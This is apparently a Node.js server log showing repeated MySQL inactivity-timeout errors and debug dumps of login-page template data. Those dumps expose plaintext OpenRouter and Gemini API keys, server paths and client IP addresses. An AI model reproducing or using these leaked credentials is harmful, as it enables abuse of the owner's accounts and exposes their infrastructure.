    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-13 23:32:12' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-13 23:38:51' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-13 23:38:51' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-13 23:44:51' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-13 23:44:51' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-14 10:10:08' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-14 10:10:08' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-14 12:25:09' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-14 12:25:09' as DATETIME)"
}
2026-01-14T12:34:32.055Z server-connect:router Serving templateView /
2026-01-14T12:34:32.057Z server-connect:app Executing action step identify
2026-01-14T12:34:32.057Z server-connect:app options: { provider: 'security' }
2026-01-14T12:34:32.057Z server-connect:auth No login cookie found
2026-01-14T12:34:32.057Z server-connect:output identity: false
2026-01-14T12:34:32.057Z server-connect:app Executing action step restrict
2026-01-14T12:34:32.057Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-01-14T12:34:32.058Z server-connect:output restrict: undefined
2026-01-14T12:34:34.733Z server-connect:router Serving templateView /login
2026-01-14T12:34:34.733Z server-connect:app Executing action step identify
2026-01-14T12:34:34.733Z server-connect:app options: { provider: 'security' }
2026-01-14T12:34:34.733Z server-connect:auth No login cookie found
2026-01-14T12:34:34.733Z server-connect:output identity: false
2026-01-14T12:34:34.733Z server-connect:router Render template layouts/authentication
2026-01-14T12:34:34.733Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    connection: 'keep-alive',
    'sec-ch-ua': '"Chromium";v="142", "Not:A-Brand";v="24", "Brave";v="142"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Linux"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
    'sec-gpc': '1',
    'accept-language': 'en-US,en;q=0.5',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '68.183.56.230',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-01-15T12:34:34.732Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '68.183.56.230',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_SEC_CH-UA': '"Chromium";v="142", "Not:A-Brand";v="24", "Brave";v="142"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Linux"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
    HTTP_SEC_GPC: '1',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '68.183.56.230',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-14 14:02:13' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-14 14:02:13' as DATETIME)"
}
2026-01-14T16:43:58.586Z server-connect:router Serving templateView /
2026-01-14T16:43:58.586Z server-connect:app Executing action step identify
2026-01-14T16:43:58.586Z server-connect:app options: { provider: 'security' }
2026-01-14T16:43:58.586Z server-connect:auth No login cookie found
2026-01-14T16:43:58.586Z server-connect:output identity: false
2026-01-14T16:43:58.586Z server-connect:app Executing action step restrict
2026-01-14T16:43:58.586Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-01-14T16:43:58.587Z server-connect:output restrict: undefined
2026-01-14T16:43:58.755Z server-connect:router Serving templateView /login
2026-01-14T16:43:58.755Z server-connect:app Executing action step identify
2026-01-14T16:43:58.755Z server-connect:app options: { provider: 'security' }
2026-01-14T16:43:58.755Z server-connect:auth No login cookie found
2026-01-14T16:43:58.755Z server-connect:output identity: false
2026-01-14T16:43:58.755Z server-connect:router Render template layouts/authentication
2026-01-14T16:43:58.755Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; wpbot/1.4; +https://forms.gle/ajBaxygz9jSR8p8G9)',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '35.94.163.14',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-01-15T16:43:58.754Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '35.94.163.14',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; wpbot/1.4; +https://forms.gle/ajBaxygz9jSR8p8G9)',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '35.94.163.14',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-14 18:26:09' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-14 18:26:09' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-14 19:07:14' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-14 19:07:14' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-14 20:35:14' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-14 20:35:14' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-14 20:54:52' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-14 20:54:52' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-14 23:16:09' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-14 23:16:09' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-14 23:17:13' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-14 23:17:13' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-15 00:10:13' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-15 00:10:13' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-15 02:40:10' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-15 02:40:10' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-15 18:54:11' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
